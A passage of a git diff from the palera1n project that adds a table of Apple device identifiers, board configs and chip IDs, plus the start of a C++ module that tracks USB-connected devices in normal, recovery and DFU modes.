}, + { "iPad4,8", "j86map", 0x34, 0x8960, "iPad mini 3 (Cellular)" }, + { "iPad4,9", "j87map", 0x36, 0x8960, "iPad mini 3 (China)" }, + { "iPad5,1", "j96ap", 0x08, 0x7000, "iPad mini 4 (WiFi)" }, + { "iPad5,2", "j97ap", 0x0A, 0x7000, "iPad mini 4 (Cellular)" }, + { "iPad5,3", "j81ap", 0x06, 0x7001, "iPad Air 2 (WiFi)" }, + { "iPad5,4", "j82ap", 0x02, 0x7001, "iPad Air 2 (Cellular)" }, + { "iPad6,3", "j127ap", 0x08, 0x8001, "iPad Pro 9.7-inch (WiFi)" }, + { "iPad6,4", "j128ap", 0x0a, 0x8001, "iPad Pro 9.7-inch (Cellular)" }, + { "iPad6,7", "j98aap", 0x10, 0x8001, "iPad Pro 12.9-inch (1st gen, WiFi)" }, + { "iPad6,8", "j99aap", 0x12, 0x8001, "iPad Pro 12.9-inch (1st gen, Cellular)" }, + { "iPad6,11", "j71sap", 0x10, 0x8000, "iPad (5th gen, WiFi)" }, + { "iPad6,11", "j71tap", 0x10, 0x8003, "iPad (5th gen, WiFi)" }, + { "iPad6,12", "j72sap", 0x12, 0x8000, "iPad (5th gen, Cellular)" }, + { "iPad6,12", "j72tap", 0x12, 0x8003, "iPad (5th gen, Cellular)" }, + { "iPad7,1", "j120ap", 0x0C, 0x8011, "iPad Pro 12.9-inch (2nd gen, WiFi)" }, + { "iPad7,2", "j121ap", 0x0E, 0x8011, "iPad Pro 12.9-inch (2nd gen, Cellular)" }, + { "iPad7,3", "j207ap", 0x04, 0x8011, "iPad Pro 10.5-inch (WiFi)" }, + { "iPad7,4", "j208ap", 0x06, 0x8011, "iPad Pro 10.5-inch (Cellular)" }, + { "iPad7,5", "j71bap", 0x18, 0x8010, "iPad (6th gen, WiFi)" }, + { "iPad7,6", "j72bap", 0x1A, 0x8010, "iPad (6th gen, Cellular)" }, + { "iPad7,11", "j171ap", 0x1C, 0x8010, "iPad (7th gen, WiFi)" }, + { "iPad7,12", "j172ap", 0x1E, 0x8010, "iPad (7th gen, Cellular)" }, + { "iPad8,1", "j317ap", 0x0C, 0x8027, "iPad Pro 11-inch (1st gen, WiFi)" }, + { "iPad8,2", "j317xap", 0x1C, 0x8027, "iPad Pro 11-inch (1st gen, WiFi, 1TB)" }, + { "iPad8,3", "j318ap", 0x0E, 0x8027, "iPad Pro 11-inch (1st gen, Cellular)" }, + { "iPad8,4", "j318xap", 0x1E, 0x8027, "iPad Pro 11-inch (1st gen, Cellular, 1TB)" }, + { "iPad8,5", "j320ap", 0x08, 0x8027, "iPad Pro 12.9-inch (3rd gen, WiFi)" }, + { "iPad8,6", "j320xap", 0x18, 0x8027, "iPad Pro 12.9-inch (3rd gen, WiFi, 1TB)" }, + { "iPad8,7", "j321ap", 0x0A, 0x8027, "iPad Pro 12.9-inch (3rd gen, Cellular)" }, + { "iPad8,8", "j321xap", 0x1A, 0x8027, "iPad Pro 12.9-inch (3rd gen, Cellular, 1TB)" }, + { "iPad8,9", "j417ap", 0x3C, 0x8027, "iPad Pro 11-inch (2nd gen, WiFi)" }, + { "iPad8,10", "j418ap", 0x3E, 0x8027, "iPad Pro 11-inch (2nd gen, Cellular)" }, + { "iPad8,11", "j420ap", 0x38, 0x8027, "iPad Pro 12.9-inch (4th gen, WiFi)" }, + { "iPad8,12", "j421ap", 0x3A, 0x8027, "iPad Pro 12.9-inch (4th gen, Cellular)" }, + { "iPad11,1", "j210ap", 0x14, 0x8020, "iPad mini (5th gen, WiFi)" }, + { "iPad11,2", "j211ap", 0x16, 0x8020, "iPad mini (5th gen, Cellular)" }, + { "iPad11,3", "j217ap", 0x1C, 0x8020, "iPad Air (3rd gen, WiFi)" }, + { "iPad11,4", "j218ap", 0x1E, 0x8020, "iPad Air (3rd gen, Cellular)" }, + { "iPad11,6", "j171aap", 0x24, 0x8020, "iPad (8th gen, WiFi)" }, + { "iPad11,7", "j172aap", 0x26, 0x8020, "iPad (8th gen, Cellular)" }, + { "iPad12,1", "j181ap", 0x18, 0x8030, "iPad (9th gen, WiFi)" }, + { "iPad12,2", "j182ap", 0x1A, 0x8030, "iPad (9th gen, Cellular)" }, + { "iPad13,1", "j307ap", 0x04, 0x8101, "iPad Air (4th gen, WiFi)" }, + { "iPad13,2", "j308ap", 0x06, 0x8101, "iPad Air (4th gen, Cellular)" }, + { "iPad13,4", "j517ap", 0x08, 0x8103, "iPad Pro 11-inch (3rd gen, WiFi)" }, + { "iPad13,5", "j517xap", 0x0A, 0x8103, "iPad Pro 11-inch (3rd gen, WiFi, 2TB)" }, + { "iPad13,6", "j518ap", 0x0C, 0x8103, "iPad Pro 11-inch (3rd gen, Cellular)" }, + { "iPad13,7", "j518xap", 0x0E, 0x8103, "iPad Pro 11-inch (3rd gen, Cellular, 2TB)" }, + { "iPad13,8", "j522ap", 0x18, 0x8103, "iPad Pro 12.9-inch (5th gen, WiFi)" }, + { "iPad13,9", "j522xap", 0x1A, 0x8103, "iPad Pro 12.9-inch (5th gen, WiFi, 2TB)" }, + { "iPad13,10", "j523ap", 0x1C, 0x8103, "iPad Pro 12.9-inch (5th gen, Cellular)" }, + { "iPad13,11", "j523xap", 0x1E, 0x8103, "iPad Pro 12.9-inch (5th gen, Cellular, 2TB)" }, + { "iPad13,16", "j407ap", 0x10, 0x8103, "iPad Air (5th gen, WiFi)" }, + { "iPad13,17", "j408ap", 0x12, 0x8103, "iPad Air (5th gen, Cellular)" }, + { "iPad13,18", "j271ap", 0x14, 0x8101, "iPad (10th gen, WiFi)" }, + { "iPad13,19", "j272ap", 0x16, 0x8101, "iPad (10th gen, Cellular)" }, + { "iPad14,1", "j310ap", 0x04, 0x8110, "iPad mini (6th gen, WiFi)" }, + { "iPad14,2", "j311ap", 0x06, 0x8110, "iPad mini (6th gen, Cellular)" }, + { "iPad14,3", "j617ap", 0x08, 0x8112, "iPad Pro 11-inch (4th gen, WiFi)" }, + { "iPad14,4", "j618ap", 0x0A, 0x8112, "iPad Pro 11-inch (4th gen, Cellular)" }, + { "iPad14,5", "j620ap", 0x0C, 0x8112, "iPad Pro 12.9-inch (6th gen, WiFi)" }, + { "iPad14,6", "j621ap", 0x0E, 0x8112, "iPad Pro 12.9-inch (6th gen, Cellular)" }, + { "iPad14,8", "j507ap", 0x10, 0x8112, "iPad Air 11-inch (M2, WiFi)" }, + { "iPad14,9", "j508ap", 0x12, 0x8112, "iPad Air 11-inch (M2, Cellular)" }, + { "iPad14,10", "j537ap", 0x14, 0x8112, "iPad Air 13-inch (M2, WiFi)" }, + { "iPad14,11", "j538ap", 0x16, 0x8112, "iPad Air 13-inch (M2, Cellular)" }, + { "iPad15,3", "j607ap", 0x08, 0x8122, "iPad Air 11-inch (M3, WiFi)" }, + { "iPad15,4", "j608ap", 0x0A, 0x8122, "iPad Air 11-inch (M3, Cellular)" }, + { "iPad15,5", "j637ap", 0x0C, 0x8122, "iPad Air 13-inch (M3, WiFi)" }, + { "iPad15,6", "j638ap", 0x0E, 0x8122, "iPad Air 13-inch (M3, Cellular)" }, + { "iPad15,7", "j481ap", 0x10, 0x8120, "iPad (A16, WiFi)" }, + { "iPad15,8", "j482ap", 0x12, 0x8120, "iPad (A16, Cellular)" }, + { "iPad16,1", "j410ap", 0x08, 0x8130, "iPad mini (A17 Pro, WiFi)" }, + { "iPad16,2", "j411ap", 0x0A, 0x8130, "iPad mini (A17 Pro, Cellular)" }, + { "iPad16,3", "j717ap", 0x08, 0x8132, "iPad Pro 11-inch (M4, WiFi)" }, + { "iPad16,4", "j718ap", 0x0A, 0x8132, "iPad Pro 11-inch (M4, Cellular)" }, + { "iPad16,5", "j720ap", 0x0C, 0x8132, "iPad Pro 13-inch (M4, WiFi)" }, + { "iPad16,6", "j721ap", 0x0E, 0x8132, "iPad Pro 13-inch (M4, Cellular)" }, + { "iPad16,8", "j707ap", 0x10, 0x8132, "iPad Air 11-inch (M4, Wi-Fi)" }, + { "iPad16,9", "j708ap", 0x12, 0x8132, "iPad Air 11-inch (M4, Cellular)" }, + { "iPad16,10", "j737ap", 0x14, 0x8132, "iPad Air 13-inch (M4, Wi-Fi)" }, + { "iPad16,11", "j738ap", 0x16, 0x8132, "iPad Air 13-inch (M4, Cellular)" }, + { "iPad17,1", "j817ap", 0x08, 0x8142, "iPad Pro 11-inch (M5, WiFi)" }, + { "iPad17,2", "j818ap", 0x0A, 0x8142, "iPad Pro 11-inch (M5, Cellular)" }, + { "iPad17,3", "j820ap", 0x0C, 0x8142, "iPad Pro 13-inch (M5, WiFi)" }, + { "iPad17,4", "j821ap", 0x0E, 0x8142, "iPad Pro 13-inch (M5, Cellular)" }, + /* Apple TV */ + { "AppleTV2,1", "k66ap", 0x10, 0x8930, "Apple TV 2" }, + { "AppleTV3,1", "j33ap", 0x08, 0x8942, "Apple TV 3" }, + { "AppleTV3,2", "j33iap", 0x00, 0x8947, "Apple TV 3 (2013)" }, + { "AppleTV5,3", "j42dap", 0x34, 0x7000, "Apple TV 4" }, + { "AppleTV6,2", "j105aap", 0x02, 0x8011, "Apple TV 4K" }, + { "AppleTV11,1", "j305ap", 0x08, 0x8020, "Apple TV 4K (2nd gen)" }, + { "AppleTV14,1", "j255ap", 0x02, 0x8110, "Apple TV 4K (3rd gen)" }, + /* HomePod */ + { "AudioAccessory1,1", "b238aap", 0x38, 0x7000, "HomePod (1st gen)" }, + { "AudioAccessory1,2", "b238ap", 0x1A, 0x7000, "HomePod (1st gen)" }, + { "AudioAccessory5,1", "b520ap", 0x22, 0x8006, "HomePod mini" }, + { "AudioAccessory6,1", "b620ap", 0x18, 0x8301, "HomePod (2nd gen)" }, + /* Apple Watch */ + { "Watch1,1", "n27aap", 0x02, 0x7002, "Apple Watch 38mm (1st gen)" }, + { "Watch1,2", "n28aap", 0x04, 0x7002, "Apple Watch 42mm (1st gen)" }, + { "Watch2,6", "n27dap", 0x02, 0x8002, "Apple Watch Series 1 (38mm)" }, + { "Watch2,7", "n28dap", 0x04, 0x8002, "Apple Watch Series 1 (42mm)" }, + { "Watch2,3", "n74ap", 0x0C, 0x8002, "Apple Watch Series 2 (38mm)" }, + { "Watch2,4", "n75ap", 0x0E, 0x8002, "Apple Watch Series 2 (42mm)" }, + { "Watch3,1", "n111sap", 0x1C, 0x8004, "Apple Watch Series 3 (38mm Cellular)" }, + { "Watch3,2", "n111bap", 0x1E, 0x8004, "Apple Watch Series 3 (42mm Cellular)" }, + { "Watch3,3", "n121sap", 0x18, 0x8004, "Apple Watch Series 3 (38mm)" }, + { "Watch3,4", "n121bap", 0x1A, 0x8004, "Apple Watch Series 3 (42mm)" }, + { "Watch4,1", "n131sap", 0x08, 0x8006, "Apple Watch Series 4 (40mm)" }, + { "Watch4,2", "n131bap", 0x0A, 0x8006, "Apple Watch Series 4 (44mm)" }, + { "Watch4,3", "n141sap", 0x0C, 0x8006, "Apple Watch Series 4 (40mm Cellular)" }, + { "Watch4,4", "n141bap", 0x0E, 0x8006, "Apple Watch Series 4 (44mm Cellular)" }, + { "Watch5,1", "n144sap", 0x10, 0x8006, "Apple Watch Series 5 (40mm)" }, + { "Watch5,2", "n144bap", 0x12, 0x8006, "Apple Watch Series 5 (44mm)" }, + { "Watch5,3", "n146sap", 0x14, 0x8006, "Apple Watch Series 5 (40mm Cellular)" }, + { "Watch5,4", "n146bap", 0x16, 0x8006, "Apple Watch Series 5 (44mm Cellular)" }, + { "Watch5,9", "n140sap", 0x28, 0x8006, "Apple Watch SE (40mm)" }, + { "Watch5,10", "n140bap", 0x2A, 0x8006, "Apple Watch SE (44mm)" }, + { "Watch5,11", "n142sap", 0x2C, 0x8006, "Apple Watch SE (40mm Cellular)" }, + { "Watch5,12", "n142bap", 0x2E, 0x8006, "Apple Watch SE (44mm Cellular)" }, + { "Watch6,1", "n157sap", 0x08, 0x8301, "Apple Watch Series 6 (40mm)" }, + { "Watch6,2", "n157bap", 0x0A, 0x8301, "Apple Watch Series 6 (44mm)" }, + { "Watch6,3", "n158sap", 0x0C, 0x8301, "Apple Watch Series 6 (40mm Cellular)" }, + { "Watch6,4", "n158bap", 0x0E, 0x8301, "Apple Watch Series 6 (44mm Cellular)" }, + { "Watch6,6", "n187sap", 0x10, 0x8301, "Apple Watch Series 7 (41mm)" }, + { "Watch6,7", "n187bap", 0x12, 0x8301, "Apple Watch Series 7 (45mm)" }, + { "Watch6,8", "n188sap", 0x14, 0x8301, "Apple Watch Series 7 (41mm Cellular)" }, + { "Watch6,9", "n188bap", 0x16, 0x8301, "Apple Watch Series 7 (45mm Cellular)" }, + { "Watch6,10", "n143sap", 0x28, 0x8301, "Apple Watch SE 2 (40mm)" }, + { "Watch6,11", "n143bap", 0x2A, 0x8301, "Apple Watch SE 2 (44mm)" }, + { "Watch6,12", "n149sap", 0x2C, 0x8301, "Apple Watch SE 2 (40mm Cellular)" }, + { "Watch6,13", "n149bap", 0x2E, 0x8301, "Apple Watch SE 2 (44mm Cellular)" }, + { "Watch6,14", "n197sap", 0x30, 0x8301, "Apple Watch Series 8 (41mm)" }, + { "Watch6,15", "n197bap", 0x32, 0x8301, "Apple Watch Series 8 (45mm)" }, + { "Watch6,16", "n198sap", 0x34, 0x8301, "Apple Watch Series 8 (41mm Cellular)" }, + { "Watch6,17", "n198bap", 0x36, 0x8301, "Apple Watch Series 8 (45mm Cellular)" }, + { "Watch6,18", "n199ap", 0x26, 0x8301, "Apple Watch Ultra" }, + { "Watch7,1", "n207sap", 0x08, 0x8310, "Apple Watch Series 9 (41mm)" }, + { "Watch7,2", "n207bap", 0x0A, 0x8310, "Apple Watch Series 9 (45mm)" }, + { "Watch7,3", "n208sap", 0x0C, 0x8310, "Apple Watch Series 9 (41mm Cellular)" }, + { "Watch7,4", "n208bap", 0x0E, 0x8310, "Apple Watch Series 9 (45mm Cellular)" }, + { "Watch7,5", "n210ap", 0x02, 0x8310, "Apple Watch Ultra 2" }, + { "Watch7,8", "n217sap", 0x10, 0x8310, "Apple Watch Series 10 (42mm)" }, + { "Watch7,9", "n217bap", 0x12, 0x8310, "Apple Watch Series 10 (46mm)" }, + { "Watch7,10", "n218sap", 0x14, 0x8310, "Apple Watch Series 10 (42mm Cellular)" }, + { "Watch7,11", "n218bap", 0x16, 0x8310, "Apple Watch Series 10 (46mm Cellular)" }, + { "Watch7,12", "n230ap", 0x22, 0x8310, "Apple Watch Ultra 3" }, + { "Watch7,13", "n243sap", 0x28, 0x8310, "Apple Watch SE 3 (40mm)" }, + { "Watch7,14", "n243bap", 0x2A, 0x8310, "Apple Watch SE 3 (44mm)" }, + { "Watch7,15", "n244sap", 0x2C, 0x8310, "Apple Watch SE 3 (40mm Cellular)" }, + { "Watch7,16", "n244bap", 0x2E, 0x8310, "Apple Watch SE 3 (44mm Cellular)" }, + { "Watch7,17", "n227sap", 0x18, 0x8310, "Apple Watch Series 11 (42mm)" }, + { "Watch7,18", "n227bap", 0x1A, 0x8310, "Apple Watch Series 11 (46mm)" }, + { "Watch7,19", "n228sap", 0x1C, 0x8310, "Apple Watch Series 11 (42mm Cellular)" }, + { "Watch7,20", "n228bap", 0x1E, 0x8310, "Apple Watch Series 11 (46mm Cellular)" }, + /* Apple Silicon Macs */ + { "ADP3,2", "j273aap", 0x42, 0x8027, "Developer Transition Kit (2020)" }, + { "Macmini9,1", "j274ap", 0x22, 0x8103, "Mac mini (M1, 2020)" }, + { "MacBookPro17,1", "j293ap", 0x24, 0x8103, "MacBook Pro (M1, 13-inch, 2020)" }, + { "MacBookPro18,1", "j316sap", 0x0A, 0x6000, "MacBook Pro (M1 Pro, 16-inch, 2021)" }, + { "MacBookPro18,2", "j316cap", 0x0A, 0x6001, "MacBook Pro (M1 Max, 16-inch, 2021)" }, + { "MacBookPro18,3", "j314sap", 0x08, 0x6000, "MacBook Pro (M1 Pro, 14-inch, 2021)" }, + { "MacBookPro18,4", "j314cap", 0x08, 0x6001, "MacBook Pro (M1 Max, 14-inch, 2021)" }, + { "MacBookAir10,1", "j313ap", 0x26, 0x8103, "MacBook Air (M1, 2020)" }, + { "iMac21,1", "j456ap", 0x28, 0x8103, "iMac 24-inch (M1, Two Ports, 2021)" }, + { "iMac21,2", "j457ap", 0x2A, 0x8103, "iMac 24-inch (M1, Four Ports, 2021)" }, + { "Mac13,1", "j375cap", 0x04, 0x6001, "Mac Studio (M1 Max, 2022)" }, + { "Mac13,2", "j375dap", 0x0C, 0x6002, "Mac Studio (M1 Ultra, 2022)" }, + { "Mac14,2", "j413ap", 0x28, 0x8112, "MacBook Air (M2, 2022)" }, + { "Mac14,7", "j493ap", 0x2A, 0x8112, "MacBook Pro (M2, 13-inch, 2022)" }, + { "Mac14,3", "j473ap", 0x24, 0x8112, "Mac mini (M2, 2023)" }, + { "Mac14,5", "j414cap", 0x04, 0x6021, "MacBook Pro (14-inch, M2 Max, 2023)" }, + { "Mac14,6", "j416cap", 0x06, 0x6021, "MacBook Pro (16-inch, M2 Max, 2023)" }, + { "Mac14,8", "j180dap", 0x08, 0x6022, "Mac Pro (2023)" }, + { "Mac14,9", "j414sap", 0x04, 0x6020, "MacBook Pro (14-inch, M2 Pro, 2023)" }, + { "Mac14,10", "j416sap", 0x06, 0x6020, "MacBook Pro (16-inch, M2 Pro, 2023)" }, + { "Mac14,12", "j474sap", 0x02, 0x6020, "Mac mini (M2 Pro, 2023)" }, + { "Mac14,13", "j475cap", 0x0A, 0x6021, "Mac Studio (M2 Max, 2023)" }, + { "Mac14,14", "j475dap", 0x0A, 0x6022, "Mac Studio (M2 Ultra, 2023)" }, + { "Mac14,15", "j415ap", 0x2E, 0x8112, "MacBook Air (M2, 15-inch, 2023)" }, + { "Mac15,3", "j504ap", 0x22, 0x8122, "MacBook Pro (14-inch, M3, Nov 2023)" }, + { "Mac15,4", "j433ap", 0x28, 0x8122, "iMac 24-inch (M3, Two Ports, 2023)" }, + { "Mac15,5", "j434ap", 0x2A, 0x8122, "iMac 24-inch (M3, Four Ports, 2023)" }, + { "Mac15,6", "j514sap", 0x04, 0x6030, "MacBook Pro (14-inch, M3 Pro, Nov 2023)" }, + { "Mac15,7", "j516sap", 0x06, 0x6030, "MacBook Pro (16-inch, M3 Pro, Nov 2023)" }, + { "Mac15,8", "j514cap", 0x44, 0x6031, "MacBook Pro (14-inch, M3 Max, Nov 2023)" }, + { "Mac15,9", "j516cap", 0x46, 0x6031, "MacBook Pro (16-inch, M3 Max, Nov 2023)" }, + { "Mac15,10", "j514map", 0x44, 0x6034, "MacBook Pro (14-inch, M3 Max, Nov 2023)" }, + { "Mac15,11", "j516map", 0x46, 0x6034, "MacBook Pro (16-inch, M3 Max, Nov 2023)" }, + { "Mac15,12", "j613ap", 0x30, 0x8122, "MacBook Air (13-inch, M3, 2024)" }, + { "Mac15,13", "j615ap", 0x32, 0x8122, "MacBook Air (15-inch, M3, 2024)" }, + { "Mac15,14", "j575dap", 0x44, 0x6032, "Mac Studio (M3 Ultra, 2025)" }, + { "Mac16,1", "j604ap", 0x22, 0x8132, "MacBook Pro (14-inch, M4, Nov 2024)" }, + { "Mac16,2", "j623ap", 0x24, 0x8132, "iMac 24-inch (M4, Two Ports, 2024)" }, + { "Mac16,3", "j624ap", 0x26, 0x8132, "iMac 24-inch (M4, Four Ports, 2024)" }, + { "Mac16,5", "j616cap", 0x06, 0x6041, "MacBook Pro (16-inch, M4 Max, Nov 2024)" }, + { "Mac16,6", "j614cap", 0x04, 0x6041, "MacBook Pro (14-inch, M4 Max, Nov 2024)" }, + { "Mac16,7", "j616sap", 0x06, 0x6040, "MacBook Pro (16-inch, M4 Pro, Nov 2024)" }, + { "Mac16,8", "j614sap", 0x04, 0x6040, "MacBook Pro (14-inch, M4 Pro, Nov 2024)" }, + { "Mac16,9", "j575cap", 0x02, 0x6041, "Mac Studio (M4 Max, 2025)" }, + { "Mac16,10", "j773gap", 0x2A, 0x8132, "Mac mini (M4, 2024)" }, + { "Mac16,11", "j773sap", 0x02, 0x6040, "Mac mini (M4 Pro, 2024)" }, + { "Mac16,12", "j713ap", 0x2C, 0x8132, "MacBook Air (13-inch, M4, 2025)" }, + { "Mac16,13", "j715ap", 0x2E, 0x8132, "MacBook Air (15-inch, M4, 2025)" }, + { "Mac17,2", "j704ap", 0x22, 0x8142, "MacBook Pro (14-inch, M5, 2025)" }, + /* Apple Silicon VMs (supported by Virtualization.framework on macOS 12) */ + { "VirtualMac2,1", "vma2macosap", 0x20, 0xFE00, "Apple Virtual Machine 1" }, + /* Apple T2 Coprocessor */ + { "iBridge2,1", "j137ap", 0x0A, 0x8012, "Apple T2 iMacPro1,1 (j137)" }, + { "iBridge2,3", "j680ap", 0x0B, 0x8012, "Apple T2 MacBookPro15,1 (j680)" }, + { "iBridge2,4", "j132ap", 0x0C, 0x8012, "Apple T2 MacBookPro15,2 (j132)" }, + { "iBridge2,5", "j174ap", 0x0E, 0x8012, "Apple T2 Macmini8,1 (j174)" }, + { "iBridge2,6", "j160ap", 0x0F, 0x8012, "Apple T2 MacPro7,1 (j160)" }, + { "iBridge2,7", "j780ap", 0x07, 0x8012, "Apple T2 MacBookPro15,3 (j780)" }, + { "iBridge2,8", "j140kap", 0x17, 0x8012, "Apple T2 MacBookAir8,1 (j140k)" }, + { "iBridge2,10", "j213ap", 0x18, 0x8012, "Apple T2 MacBookPro15,4 (j213)" }, + { "iBridge2,12", "j140aap", 0x37, 0x8012, "Apple T2 MacBookAir8,2 (j140a)" }, + { "iBridge2,14", "j152fap", 0x3A, 0x8012, "Apple T2 MacBookPro16,1 (j152f)" }, + { "iBridge2,15", "j230kap", 0x3F, 0x8012, "Apple T2 MacBookAir9,1 (j230k)" }, + { "iBridge2,16", "j214kap", 0x3E, 0x8012, "Apple T2 MacBookPro16,2 (j214k)" }, + { "iBridge2,19", "j185ap", 0x22, 0x8012, "Apple T2 iMac20,1 (j185)" }, + { "iBridge2,20", "j185fap", 0x23, 0x8012, "Apple T2 iMac20,2 (j185f)" }, + { "iBridge2,21", "j223ap", 0x3B, 0x8012, "Apple T2 MacBookPro16,3 (j223)" }, + { "iBridge2,22", "j215ap", 0x38, 0x8012, "Apple T2 MacBookPro16,4 (j215)" }, + /* Apple Displays */ + { "AppleDisplay2,1", "j327ap", 0x22, 0x8030, "Studio Display" }, + /* Apple Vision Pro */ + { "RealityDevice14,1", "n301ap", 0x42, 0x8112, "Apple Vision Pro" }, + { "RealityDevice17,1", "n301aap", 0x42, 0x8142, "Apple Vision Pro (M5)" }, + /* Private Cloud Compute Research Environment */ + { "iPhone99,11", "vresearch101ap", 0x90, 0xFE01, "iPhone 99,11" }, + { nullptr, nullptr, -1, -1, nullptr } +}; + +#include "../pongo_helper.h" + +void get_recovery_info(char *sn, const char **ecid, const char **product_model, const char **product_name); +void get_name_from_product_type(const char *product_type, const char **name); + +#endif // MAIN__DEVICE_INFO_H + +#endif // WITH_GUI || WITH_TUI diff --git a/src/events/event.cpp b/src/events/event.cpp new file mode 100644 index 0000000..e739197 --- /dev/null +++ b/src/events/event.cpp @@ -0,0 +1,493 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + +#if defined(WITH_GUI) || defined(WITH_TUI) + +#include "event.hpp" +#include "../sequence.hpp" +#include "device_info.hpp" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#if WITH_CIDERRAIN +# include +#else +# include +# include +#endif + +#include "ra1ncovery/hotplug.hpp" +#include +#include +#include + +#if defined(__APPLE__) + using platform_service_t = io_service_t; +#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN) + using platform_service_t = libusb_device*; +#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN) + using platform_service_t = liteusb_handle_t*; +#endif + +#ifndef __APPLE__ +# define IO_OBJECT_NULL nullptr +#endif + +namespace { + +struct ManagedDevice { + DeviceState state{}; + bool normalPresent = false; + bool recoveryPresent = false; + bool dfuPresent = false; + hotplug_handle_t handle{}; + uint32_t device_id = 0; + + std::unique_ptr usbmuxd_device; +}; + +void release_handle(hotplug_handle_t& h) { +#ifdef __APPLE__ + if (h.serv != IO_OBJECT_NULL) { + IOObjectRelease(h.serv); + h.serv = IO_OBJECT_NULL; + } + if (h.device) { + (*h.device)->Release(h.device); + h.device = nullptr; + } +#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN) + if (h.serv != nullptr) { + libusb_unref_device(h.serv); + h.serv = nullptr; + } + h.device = nullptr; +#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN) + h.handle = nullptr; +#endif +} + +void retain_handle(const hotplug_handle_t& h) { +#ifdef __APPLE__ + if (h.serv != IO_OBJECT_NULL) { + IOObjectRetain(h.serv); + } + if (h.device) (*h.device)->AddRef(h.device); +#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN) + if (h.serv != nullptr) { + libusb_ref_device(h.serv); + } +#endif +} + +template +struct Releaser { + template + void operator()(T* ptr) const { if (ptr) FreeFn(ptr); } +}; + +template +using unique_c_ptr = std::unique_ptr>; + +std::mutex g_mutex; +std::vector g_callbacks; +std::unordered_map g_devices; +uint64_t g_activeEcid = 0; +std::once_flag g_startOnce; + +#ifndef __APPLE__ +std::condition_variable g_recoveryCv; +bool g_recoveryRunning = false; +#endif + +void dispatch_callbacks(const std::vector& callbacks, const DeviceState& state) { + for (const auto& cb : callbacks) { + if (cb) cb(state); + } +} + +DeviceState build_public_state_locked() { + DeviceState out{}; + const auto total_devices = static_cast(g_devices.size()); + out.connected = false; + out.connectedDeviceCount = total_devices; + out.multipleDevices = total_devices > 1; + + if (g_devices.empty()) { + g_activeEcid = 0; + return out; + } + + auto it = g_devices.find(g_activeEcid); + if (it == g_devices.end()) { + it = g_devices.begin(); + } + + g_activeEcid = it->first; + out = it->second.state; + out.connected = true; + out.connectedDeviceCount = total_devices; + out.multipleDevices = total_devices > 1; + return out; +} + +void publish_state() { + std::vector callbacks; + DeviceState state; + { + std::lock_guard lock(g_mutex); + callbacks = g_callbacks; + state = build_public_state_locked(); + } + dispatch_callbacks(callbacks, state); +} + +bool lockdown_get_string(IdeviceFFI::Lockdown& client, const char* key, std::string& out) { + auto res = client.get_value(key, nullptr); + if (res.is_err()) return false; + + plist_t raw_plist = res.unwrap(); + if (!raw_plist) return false; + + char* raw = nullptr; + plist_get_string_val(raw_plist, &raw); + + if (raw) { + out = raw; + } + + return !out.empty(); +} + +bool lockdown_get_uint(IdeviceFFI::Lockdown& client, const char* key, uint64_t& out) { + auto res = client.get_value(key, nullptr); + if (res.is_err()) return false; + + plist_t plist = res.unwrap(); + if (!plist) return false; + + plist_get_uint_val(plist, &out); + return out != 0; +} + +bool build_normal_state(const IdeviceFFI::UsbmuxdDevice& device, DeviceState& out) { + auto id_opt = device.get_id(); + if (id_opt.is_none()) return false; + uint32_t device_id = id_opt.unwrap(); + + auto udid_opt = device.get_udid(); + if (udid_opt.is_none()) return false; + std::string udid_str = udid_opt.unwrap(); + + auto prov_res = IdeviceFFI::Provider::usbmuxd_new(IdeviceFFI::UsbmuxdAddr::default_new(), 0, udid_str, device_id, "ra1ncovery"); + if (prov_res.is_err()) return false; + auto prov = std::move(prov_res).unwrap(); + + auto lockdown_res = IdeviceFFI::Lockdown::connect(prov); + if (lockdown_res.is_err()) return false; + auto session = std::move(lockdown_res).unwrap(); + + auto pf_res = prov.get_pairing_file(); + if (pf_res.is_ok()) { + (void)session.start_session(pf_res.unwrap()); + } + + out.connected = true; + out.mode = DeviceMode::Normal; + out.udid = udid_str; + + lockdown_get_string(session, "ProductType", out.productType); + lockdown_get_string(session, "ProductVersion", out.productVersion); + lockdown_get_uint(session, "UniqueChipID", out.ecid); + + for (int i = 0; irecv_devices[i].product_type; i++) { + if (irecv_devices[i].product_type == out.productType) { + out.displayName = irecv_devices[i].name; + break; + } + } + + out.isSupported = SequenceIsSupported(out.productType); + return true; +} + +static void handle_other_add(hotplug_handle_t handle, DeviceMode mode, bool supported) { + char serial[256] = {}; + if (!get_usb_device_serial(handle, serial, sizeof(serial))) return; + + const char *ecid_str = nullptr, *product_model = nullptr, *product_name = nullptr; + get_recovery_info(serial, &ecid_str, &product_model, &product_name); + uint64_t ecid = ecid_str ? strtoull(ecid_str, nullptr, 16) : 0; + + if (ecid == 0) return; + + { + std::lock_guard lock(g_mutex); + ManagedDevice& m = g_devices[ecid]; + + release_handle(m.handle); + m.handle = handle; + retain_handle(m.handle); + + m.state.connected = true; + m.state.mode = mode; + m.state.ecid = ecid; + m.state.productType = product_model ? product_model : ""; + m.state.productVersion.clear(); + m.state.displayName = product_name ? product_name : ""; + m.state.isSupported = supported; + + m.recoveryPresent = (mode == DeviceMode::Recovery); + m.dfuPresent = (mode == DeviceMode::DFU); + 